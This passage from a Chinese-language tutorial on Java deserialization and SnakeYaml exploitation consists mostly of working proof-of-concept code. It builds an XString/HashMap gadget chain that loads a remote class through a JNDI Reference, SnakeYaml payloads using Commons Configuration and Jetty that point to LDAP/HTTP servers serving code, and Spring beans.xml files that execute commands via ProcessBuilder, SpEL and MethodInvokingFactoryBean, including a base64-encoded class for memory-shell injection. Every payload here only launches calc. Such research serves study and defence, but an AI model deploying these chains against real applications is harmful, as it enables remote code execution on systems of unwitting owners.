HashMap)】 根据上述知识点, 我们已经能够编写出 POC 了, 如下: ```java package com.heihu577; import com.sun.org.apache.xpath.internal.objects.XString; import org.apache.xbean.naming.context.ContextUtil; import org.apache.xbean.naming.context.WritableContext; import org.junit.Test; import javax.naming.Reference; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; public class serialTestser { @Test public void t1() throws Exception { WritableContext tmpContext = new WritableContext(); Reference reference = new Reference("heihu577", "EvilClass", "http://127.0.0.1:8000/"); ContextUtil.ReadOnlyBinding evilObj = new ContextUtil.ReadOnlyBinding("heihu577", reference, tmpContext); XString xString = new XString(HashCollision.unhash(evilObj.hashCode())); // 生成其 Hash 值与 evilObj 一样的对象 HashMap<Object, Object> evilObjResult = new HashMap<>(); evilObjResult.put(evilObj, 1); evilObjResult.put(xString, 1); setFieldValue(tmpContext, "contextAccess", null); setFieldValue(tmpContext, "inCall", null); setFieldValue(tmpContext, "contextFederation", null); new ObjectOutputStream(new FileOutputStream("D:/ser.ser")).writeObject(evilObjResult); // 写入链子 new ObjectInputStream(new FileInputStream("D:/ser.ser")).readObject(); } public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> aClass = obj.getClass(); Field field = null; while (field == null) { try { field = aClass.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { field = null; aClass = aClass.getSuperclass(); } } field.setAccessible(true); field.set(obj, value); } } ``` 但是最终发现在生成本地序列化文件之前, 就已经进入链路了, 如图:  原因则是在调用`HashMap::put`方法时会进行计算`hash值`, 并且提前进入到`equals`方法进行比较, 那么怎么在生成序列化文件之前不进入到`equals`方法呢?这里笔者对`XString`做一下手脚: ```java package com.heihu577; import com.sun.org.apache.xpath.internal.objects.XString; import org.apache.xbean.naming.context.ContextUtil; import org.apache.xbean.naming.context.WritableContext; import org.junit.Test; import javax.naming.Reference; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; public class serialTestser { @Test public void t1() throws Exception { WritableContext tmpContext = new WritableContext(); Reference reference = new Reference("heihu577", "EvilClass", "http://127.0.0.1:8000/"); ContextUtil.ReadOnlyBinding evilObj = new ContextUtil.ReadOnlyBinding("heihu577", reference, tmpContext); XString xString = new XString("任意值~, 避免 hashCode 缓存~"); // 生成其 Hash 值与 evilObj 一样的对象 HashMap<Object, Object> evilObjResult = new HashMap<>(); evilObjResult.put(evilObj, 1); evilObjResult.put(xString, 1); setFieldValue(xString, "m_obj", HashCollision.unhash(evilObj.hashCode())); // put 完之后通过反射改回来 setFieldValue(tmpContext, "contextAccess", null); setFieldValue(tmpContext, "inCall", null); setFieldValue(tmpContext, "contextFederation", null); new ObjectOutputStream(new FileOutputStream("D:/ser.ser")).writeObject(evilObjResult); // 写入链子 new ObjectInputStream(new FileInputStream("D:/ser.ser")).readObject(); } public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> aClass = obj.getClass(); Field field = null; while (field == null) { try { field = aClass.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { field = null; aClass = aClass.getSuperclass(); } } field.setAccessible(true); field.set(obj, value); } } ``` 这里在`XString`放入`HashMap`的时候将其随机赋一个值, 在 put 时会与另一个`Entry`的`hashCode`不一致, 从而不会提前进入链路. 在 put 完毕之后再通过反射将`XString`中计算`hash`的成员属性改回与另一个`Entry`一致的`hash`字符串即可. 但是最终发现并没有弹出计算器,为什么呢?笔者给出如下 POC 做出解释: ```java package com.heihu577; import com.sun.org.apache.xpath.internal.objects.XString; import org.apache.xbean.naming.context.ContextUtil; import org.apache.xbean.naming.context.WritableContext; import org.junit.Test; import javax.naming.Reference; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class serialTestser { @Test public void t1() throws Exception { WritableContext tmpContext = new WritableContext(); Reference reference = new Reference("heihu577", "EvilClass", "http://127.0.0.1:8000/"); ContextUtil.ReadOnlyBinding evilObj = new ContextUtil.ReadOnlyBinding("heihu577", reference, tmpContext); XString xString = new XString("任意值~, 避免 hashCode 缓存~"); // 生成其 Hash 值与 evilObj 一样的对象 HashMap<Object, Object> evilObjResult = new HashMap<>(); evilObjResult.put(evilObj, 1); evilObjResult.put(xString, 1); setFieldValue(xString, "m_obj", HashCollision.unhash(evilObj.hashCode())); // put 完之后通过反射改回来 setFieldValue(tmpContext, "contextAccess", null); setFieldValue(tmpContext, "inCall", null); setFieldValue(tmpContext, "contextFederation", null); System.out.println("序列化之前的 hashCode 值:"); for (Map.Entry<Object, Object> o : evilObjResult.entrySet()) { Object key = o.getKey(); System.out.println(key.getClass() + " => " + key.hashCode()); } new ObjectOutputStream(new FileOutputStream("D:/ser.ser")).writeObject(evilObjResult); // 写入链子 HashMap<Object,Object> hsMap = (HashMap) new ObjectInputStream(new FileInputStream("D:/ser.ser")).readObject(); System.out.println("反序列化后的 hashCode 值:"); for (Map.Entry o : hsMap.entrySet()) { Object key = o.getKey(); System.out.println(key.getClass() + " => " + key.hashCode()); } } public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> aClass = obj.getClass(); Field field = null; while (field == null) { try { field = aClass.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { field = null; aClass = aClass.getSuperclass(); } } field.setAccessible(true); field.set(obj, value); } } ``` 其运行结果为: ```php 序列化之前的 hashCode 值: class com.sun.org.apache.xpath.internal.objects.XString => 1509514333 class org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding => 1509514333 反序列化后的 hashCode 值: class com.sun.org.apache.xpath.internal.objects.XString => 1509514333 class org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding => 411631404 ``` 可以发现`org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding`序列化时的`hashCode`与反序列化回来的`HashCode`是不一致的, 这是为什么呢?实际上是因为`org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding`这个类没有重写`hashCode`方法, 我们看一下类图:  那么我们应该如何让`ContextUtil$ReadOnlyBinding`这个类的`hash`值固定下来呢?这里需要引入`HashMap`了, 我们知道, 在`HashMap::readObject`方法中会对`Map.Entry`进行还原:  也就意味着一个`HashMap`在反序列化时, 它的每个`Key & Value`都会参与`readObject`进行还原, 随后调用`putVal`方法将其塞回`Map.Entry`中. 我们的恶意对象塞入 HashMap 中在反序列化时会重新塞入`Map`中的, 我们仅仅知道这一点即可, 因为我们要利用它的属性还原机制. 而`HashMap`重写了`hashCode`方法, 其计算公式则是每一个`Map.Entry`的`Key ^ Value`, 随后将其都相加在一起:  这样会导致一个什么问题呢?当两个`HashMap`同时包含`hash值`相同的`Entry`时, 他们两个的`HashCode`是一样的, 给出如下案例: ```java package com.heihu577; import java.net.MalformedURLException; import java.util.HashMap; public class URLTest { public static void main(String[] args) throws MalformedURLException { Object obj1 = new Person(); Object obj2 = new Son(); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", obj1); // yy 和 zZ 的 hashCode 相同 map1.put("zZ", obj2); map2.put("yy", obj2); map2.put("zZ", obj1); System.out.println("hashMap1 => " + map1.hashCode()); System.out.println("hashMap2 => " + map2.hashCode()); } } class Person {} class Son { public String name = "son"; } ``` 在这个案例中, `Person`与`Son`是完全两个不同的对象, 但最终生成的`hashCode`是一致的, 所以这就生成了两个`hash值`相同的`Map`对象, 就算是在反序列化场景中, 由于`Person & Son`都是经过一次`Object::hashCode`重新计算且仅计算一次, 反序列化时会将`Person::hashCode`经过计算后与`Son::hashCode`进行相加计算, 最终结果这两个`HashMap`的`hashCode值`也会相同. 以下案例可以证明这一点: ```java package com.heihu577; import java.io.*; import java.net.MalformedURLException; import java.util.HashMap; import java.util.Map; import java.util.Set; public class URLTest { public static void main(String[] args) throws Exception { Object obj1 = new Person(); Object obj2 = new Son(); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", obj1); map1.put("zZ", obj2); map2.put("yy", obj2); map2.put("zZ", obj1); HashMap<Object, Object> resultMap = new HashMap<>(); resultMap.put(map1, 0); resultMap.put(map2, 0); ByteArrayOutputStream baos = new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(resultMap); Map<Object,Object> resMap = (Map) new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject(); Set<Map.Entry<Object, Object>> entries = resMap.entrySet(); for (Map.Entry<Object, Object> entry : entries) { System.out.println(entry.hashCode()); /** * 1861111030 * 1861111030 */ } } } class Person implements Serializable { } class Son implements Serializable { public String name = "son"; } ``` 通过这个案例我们成功解决了反序列化回来时`hashCode不一致`问题, 而实际上这个案例中最外层的`HashMap::readObject`时发现两个`HashMap`的`hashCode值相同`, 会调用这两个`HashMap::equals`方法:  因此我们可以在第二个`hashMap`的`Value部分`中放入`恶意对象1`, 在第一个`hashMap`的`Value部分`中放入`恶意对象2`, 则会调用`恶意对象1.equals(恶意对象2)`方法, 链路依旧能够执行. 我们可以编写如下`DEMO`进行理解: ```java package com.heihu577; import java.io.*; import java.util.HashMap; import java.util.Map; import java.util.Set; public class URLTest { public static void main(String[] args) throws Exception { Object obj1 = new Person(); Object obj2 = new Son(); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", obj1); map1.put("zZ", obj2); map2.put("yy", obj1); map2.put("zZ", obj2); HashMap<Object, Object> resultMap = new HashMap<>(); resultMap.put(map1, 0); resultMap.put(map2, 0); ByteArrayOutputStream baos = new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(resultMap); new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject(); } } class Person implements Serializable { @Override public boolean equals(Object obj) { System.out.println("Person::equals(" + obj + ")"); return super.equals(obj); } } class Son implements Serializable { public String name = "son"; @Override public boolean equals(Object obj) { System.out.println("Son::equals(" + obj + ")"); return super.equals(obj); } } ``` 最终运行结果: ```php Person::equals(com.heihu577.Person@2a84aee7) Son::equals(com.heihu577.Son@a09ee92) ``` ###### 最终 POC 编写 根据上述原理, 我们可编写出如下 POC: ```java package com.heihu577; import com.sun.org.apache.xpath.internal.objects.XString; import org.apache.xbean.naming.context.ContextUtil; import org.apache.xbean.naming.context.WritableContext; import org.junit.Test; import javax.naming.Reference; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; public class serialTestser { @Test public void t1() throws Exception { WritableContext tmpContext = new WritableContext(); Reference reference = new Reference("heihu577", "EvilClass", "http://127.0.0.1:8000/"); ContextUtil.ReadOnlyBinding evilObj = new ContextUtil.ReadOnlyBinding("heihu577", reference, tmpContext); HashMap evilMap = getXString(evilObj); setFieldValue(tmpContext, "contextAccess", null); setFieldValue(tmpContext, "inCall", null); setFieldValue(tmpContext, "contextFederation", null); new ObjectOutputStream(new FileOutputStream("D:/ser.ser")).writeObject(evilMap); new ObjectInputStream(new FileInputStream("D:/ser.ser")).readObject(); } public HashMap getXString(Object obj) throws Exception { XString xString = new XString(""); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("yy", xString); hashMap1.put("zZ", obj); hashMap2.put("zZ", xString); hashMap2.put("yy", obj); HashMap hashMap = new HashMap(); hashMap.put(hashMap1, 1); setFieldValue(xString, "m_obj", "heihu577"); // 避免 put 时候触发 equals hashMap.put(hashMap2, 2); return hashMap; } public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> aClass = obj.getClass(); Field field = null; while (field == null) { try { field = aClass.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { field = null; aClass = aClass.getSuperclass(); } } field.setAccessible(true); field.set(obj, value); } } ``` 在本地放置好`EvilClass.class`恶意类, 并且使用`python`监听本地 8000 端口后, 运行即可弹出计算器~  ###### 其他触发 equals 的点 以上是一个 XString + HashMap 的基本原理, 当然除了`HashMap`能够利用以外, 还有一个基于`javaagent`的方式, 不再班门弄斧. 给出推荐链接. XString + ArrayTable (基于动态Agent挖掘更多的反序列化入口): <https://xz.aliyun.com/news/15244> #### 三方依赖 Apache Commons Configuration【hashCode方法利用】需出网 JNDI注入 ##### 前置知识【调用 hashCode 逻辑】 在`SnakeYaml`自己本身, 有一个主动调用`hashCode`的逻辑, 可以准备如下测试类: ```java package com.heihu577.bean; public class Person { @Override public int hashCode() { System.out.println("OK"); return 0; } } ``` 随后我们准备如下测试案例: ```java Yaml yaml = new Yaml(); yaml.load("!!com.heihu577.bean.Person []: \"value\""); /* OK OK OK */ ``` 可以发现输出了三次`OK`, 为什么会主动调用一个对象的`hashCode`方法呢?实际上在`SafeConstructor::processDuplicateKeys`方法中有对应的分支:  在`SnakeYaml`对于`key: value`这种格式处理时, 会对`key`进行存入`HashMap`操作, 而存入`HashMap`又弄巧成拙的调用了`hashCode`方法, 所以这里我们只需要选择一个恶意类的`hashCode`是可利用的, 即可进行攻击. ##### 漏洞利用分析 而谁的`hashCode`方法是危险的呢?这里我们引入依赖如下: ```xml <dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version> </dependency> ``` 在该依赖中, 存在`org.apache.commons.configuration.ConfigurationMap`类, 该类的`hashCode`方法可以被利用, 我们可以看一下具体的处理逻辑:  而由于该类的`hashCode`方法可以调用任意`Configuration类`的`getKeys无参`方法, 所以我们需要再找一个危险的`getKeys`方法进行调用, 最终可以找到`org.apache.commons.configuration.JNDIConfiguration`这个类:  而该类的`getKeys`方法可以进行JNDI注入:  ##### POC 编写 有了上述的逻辑过后, 我们可以编写一个 POC: ```java Yaml yaml = new Yaml(); String ymlText = "!!org.apache.commons.configuration.ConfigurationMap [" + "!!org.apache.commons.configuration.JNDIConfiguration [\"ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==\"]" + "]: 1"; yaml.load(ymlText); ``` 运行结果:  #### 三方依赖 Jetty【带参构造】需出网 JNDI 注入 ##### 环境配置 ```xml <properties> <!-- 指定 Jetty 版本 --> <jetty.version>9.4.50.v20221201</jetty.version> </properties> <dependencies> <!-- jetty-plus 包含了 org.eclipse.jetty.plus.jndi.Resource --> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-plus</artifactId> <version>${jetty.version}</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-jndi</artifactId> <version>${jetty.version}</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-server</artifactId> <version>${jetty.version}</version> </dependency> </dependencies> ``` ##### 漏洞利用分析【JNDI-Reference 机制】 实际上对于该漏洞利用分析如果完全看代码的话会梳理不清楚其中的关系, 这时候我们就需要观察官方文档了, jetty 中官方文档对 JNDI 的说明: <https://jetty.org/docs/jetty/12/operations-guide/jndi/index.html>, 该官方文档是较新的官方文档, 可以参考`github`对于`9.4`版本的说明: <https://github.com/jetty/jetty.project/blob/jetty-9.4.x/jetty-documentation/src/main/asciidoc/administration/jndi/jndi-configuration.adoc>  上图是官方文档中使用的`Reference`绑定案例, 随后将其绑定在`jetty`服务器中, 而如果点开`Resource`源码看一眼的话可以发现如下说明:  通过`__/jdbc/foo`的形式可以绑定一个`NamingEntry (条目)`, `NamingEntry`可包含`Attributes`, 而`Reference`可以作为一种特殊属性存储在`NamingEntry`中. 奉上一个笔者在学习 JNDI 注入时的配图:  而之前通过`Reference`的攻击配置如下:  所以当前的`Resource`类的利用也就是, 在本地绑定一个`Reference`, 随后本地去进行调用即可, 可以编写出如下 POC: ```java new Resource("__/jdbc/foo", new Reference("foo", "EvilClass", "http://127.0.0.1:2333/") ); new Resource("jdbc/foo/a", new Object[0]); ``` 运行后会向`http://127.0.0.1:2333/EvilClass.class`发送请求, 并要求加载`EvilClass`恶意类:  ##### SnakeYaml POC 融合在 SnakeYaml 里的 POC 如下: ```java Yaml yaml = new Yaml(); String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [" + "\"__/jdbc/foo\", " + "!!javax.naming.Reference [\"foo\", \"EvilClass\", \"http://127.0.0.1:2333/\"]" + "], !!org.eclipse.jetty.plus.jndi.Resource [\"jdbc/foo/a\", !!java.lang.Object []]]"; yaml.load(poc); ``` 由于在 SnakeYaml 中我们想要 Resource 类存在上下文关联, 所以采用数组进行构造. #### 常用依赖 ClassPathXmlApplicationContext【带参构造】需出网 学习过 Spring 的朋友们对`ClassPathXmlApplicationContext`很熟悉, 用于加载本地`bean`配置文件, 而我们知道的是通常一个`Bean`的生命周期在`beans.xml`文件被读取后, 默认会自动实例化, 那么可以利用该特点进行 RCE. ##### 环境配置 为了方便, 这里直接使用 SpringBoot 做案例演示, pom.xml: ```xml <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.0</version> </parent> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <scope>provided</scope> </dependency> </dependencies> ``` ##### ProcessBuilder 命令执行 直接上远程 RCE 有点不太容易理解, 先来个本地的 RCE 试试, 创建一个`/resources/beans.xml`文件内容如下: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="evil" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd.exe</value> <value>/c</value> <value>calc</value> </list> </constructor-arg> </bean> </beans> ``` 随后创建一个测试类: ```java package com.heihu577; import org.junit.Test; import org.springframework.context.support.ClassPathXmlApplicationContext; public class SpringTest { @Test public void t1() { ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext("beans.xml"); } } ``` 运行即可弹窗. 实际上这是利用了 bean 的生命周期来进行命令执行的, 当实例化`java.lang.ProcessBuilder`类时, 参数会如下传递:  丢给`ProcessBuilder::command`成员属性后, 调用生命周期`init-method`所指明的`start`方法完成命令执行:  ##### Runtime 命令执行 实际上这里 Runtime 不能当作 bean 进行 RCE, 原因则是 Spring 的`init-method`需要指明一个无参方法, 而`Runtime`中只有`getRuntime`以及一些native方法是无参方法:  但是我们可以通过`SpEL`表达式进行调用`Runtime`: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean class="java.lang.String"> <constructor-arg value="#{T(java.lang.Runtime).getRuntime().exec('calc')}"/> </bean> </beans> ``` 使用`ClassPathXmlApplicationContext`进行解析即可弹出计算器~ ##### ReflectUtils::defineClass 代码执行【SpEL注入内存马】【命令执行回显】 ###### ReflectionUtils 说明 在`SpringBoot / SpringMVC`环境下, 我们可以使用`Spring`官方提供的工具类, 以下是 DEMO: ```java org.springframework.cglib.core.ReflectUtils.defineClass("com.heihu577.bean.MemshellInject1", org.springframework.util.Base64Utils.decodeFromString("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY29tL2hlaWh1NTc3L2JlYW4vTWVtc2hlbGxJbmplY3QxOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAUTWVtc2hlbGxJbmplY3QxLmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBACFjb20vaGVpaHU1NzcvYmVhbi9NZW1zaGVsbEluamVjdDEBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAUADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAgACQALAAwACQANAAoAFgAMAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc="), new javax.management.loading.MLet( new java.net.URL[0], java.lang.Thread.currentThread().getContextClassLoader() ) ).newInstance(); ``` 其中 BASE64 部分是: ```java package com.heihu577.bean; import java.io.IOException; public class MemshellInject1 { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } } ``` 是字节码 BASE64 之后的值. 运行之后即可发现成功弹窗, 接下来进行代码分析. ###### ReflectionUtils 代码分析 首先是`ReflectUtils`的构造器, 其中初始化了一个 ClassLoader:  原理就是这么简单, 至于为什么要传递`MLet`参数, 纯属是因为它是一个`ClassLoader`, 传入一个普通的 ClassLoader 也可以. ###### 构造 beans.xml (SpEL) 根据上述原理, 我们完全可以编写一个基于`beans.xml`的`SpEL`表达式注入文件: ```java <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="payload" class="java.lang.String"> <constructor-arg value="yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY29tL2hlaWh1NTc3L2JlYW4vTWVtc2hlbGxJbmplY3QxOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAUTWVtc2hlbGxJbmplY3QxLmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBACFjb20vaGVpaHU1NzcvYmVhbi9NZW1zaGVsbEluamVjdDEBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAUADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAgACQALAAwACQANAAoAFgAMAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc="/> </bean> <bean id="mySpEL" class="java.lang.String"> <constructor-arg value="#{T(org.springframework.cglib.core.ReflectUtils).defineClass( 'com.heihu577.bean.MemshellInject1', T(org.springframework.util.Base64Utils).decodeFromString(payload), T(java.lang.Thread).currentThread().getContextClassLoader() ).newInstance()}"/> </bean> </beans> ``` 使用`ClassPathXmlApplicationContext`解析之后, 即可弹出计算器. > 当然该姿势可参考: <https://github.com/Hutt0n0/ActiveMqRCE> 以及 [https://mp.weixin.qq.com/s/tL09qlV4Kv\_P8tytYqs7Aw](https://mp.weixin.qq.com/s/tL09qlV4Kv_P8tytYqs7Aw) > > 注意第二个参考中, SpEL 表达式注入在 POST 部分, 所以包内容可以很大, 现在需要思考一个问题, 如果是基于 GET 请求的 SpEL 表达式注入内存马应该如何操作?本文暂且不探讨. ##### MethodInvokingFactoryBean【命令执行 任意对象任意方法】 MethodInvokingFactoryBean 是一个工厂类, 实现了`InitializingBean`, 而实现了`InitializingBean接口`则需要重写`afterPropertiesSet`方法, 其生命周期优先级比`init-method`属性要高. 并且该工厂类所生成出来的对象的逻辑是由`任意对象.任意方法(任意参数)`进行生成的, 所以这里可以被利用用于 RCE. ###### 源码分析  大概的流程如上图所示, 而由于`MethodInvokingFactoryBean`继承`MethodInvoker`的关系, 并且`MethodInvoker`提供了`getter & setter`方法用于对要执行的三个关键成员属性进行修改/查看, 它们是`targetMethod (在 prepare 中将其解析为 methodObject), targetObject, arguments`成员属性, 导致我们只需要好 Bean 的参数即可调用方法. ###### 基于 Runtime 的命令执行案例 `beans.xml`文件内容如下: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="runtime" class="java.lang.Runtime" init-method="getRuntime"/> <!-- 准备 runtime 实例 --> <bean id="evil" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetObject" ref="runtime"/> <property name="targetMethod" value="exec"/> <!-- 执行 Runtime 的 exec 方法 --> <property name="arguments"> <list> <value>calc</value> </list> </property> </bean> </beans> ``` 使用`ClassPathXmlApplicationContext`将其加载即可弹窗. ###### 基于 ReflectUtils 代码执行案例 同样的, 我们可以利用该类进行调用`ReflectUtils::defineClass`方法实现代码执行: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="util" class="org.springframework.cglib.core.ReflectUtils"/> <bean id="evilClassLoaderResult" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="org.springframework.util.Base64Utils"/> <property name="targetMethod" value="decode"/> <property name="arguments"> <value>yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY29tL2hlaWh1NTc3L2JlYW4vTWVtc2hlbGxJbmplY3QxOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAUTWVtc2hlbGxJbmplY3QxLmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBACFjb20vaGVpaHU1NzcvYmVhbi9NZW1zaGVsbEluamVjdDEBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAUADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAgACQALAAwACQANAAoAFgAMAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=</value> </property> </bean> <bean id="tmpClassLoader" class="java.net.URLClassLoader"> <constructor-arg> <list></list> </constructor-arg> </bean> <bean id="start" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetObject" ref="util"/> <property name="targetMethod" value="defineClass"/> <property name="arguments"> <list> <value>com.heihu577.bean.MemshellInject1</value> <ref bean="evilClassLoaderResult"/> <ref bean="tmpClassLoader"></ref> </list> </property> </bean> </beans> ``` 只要使用`ClassPathXmlApplicationContext`进行加载即可弹窗. ##### ClassPathXmlApplicationContext 出网分析【代码分析】 根据上述种种案例可以表明: 只要 ClassPathXmlApplicationContext 加载了`恶意的beans.xml`才可以进行利用, 那么主机不会凭空出现`恶意 beans.xml`, 但现在来思考一个问题, 就是`ClassPathXmlApplicationContext`是否可以出网?如果支持出网的情况下, 它的参数可控不就可以RCE了吗?那么下面来讨论这个问题. 准备如下 DEMO: ```java package com.heihu577; import org.junit.Test; import org.springframework.context.support.ClassPathXmlApplicationContext; public class SpringTest { @Test public void t1() { ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("http://www.baidu.com/beans.xml"); Runtime bean = ioc.getBean(Runtime.class); System.out.println(bean); } } ``` 我们只需要跟进传入的`http://www.baidu.com/beans.xml`最终的解析逻辑即可, 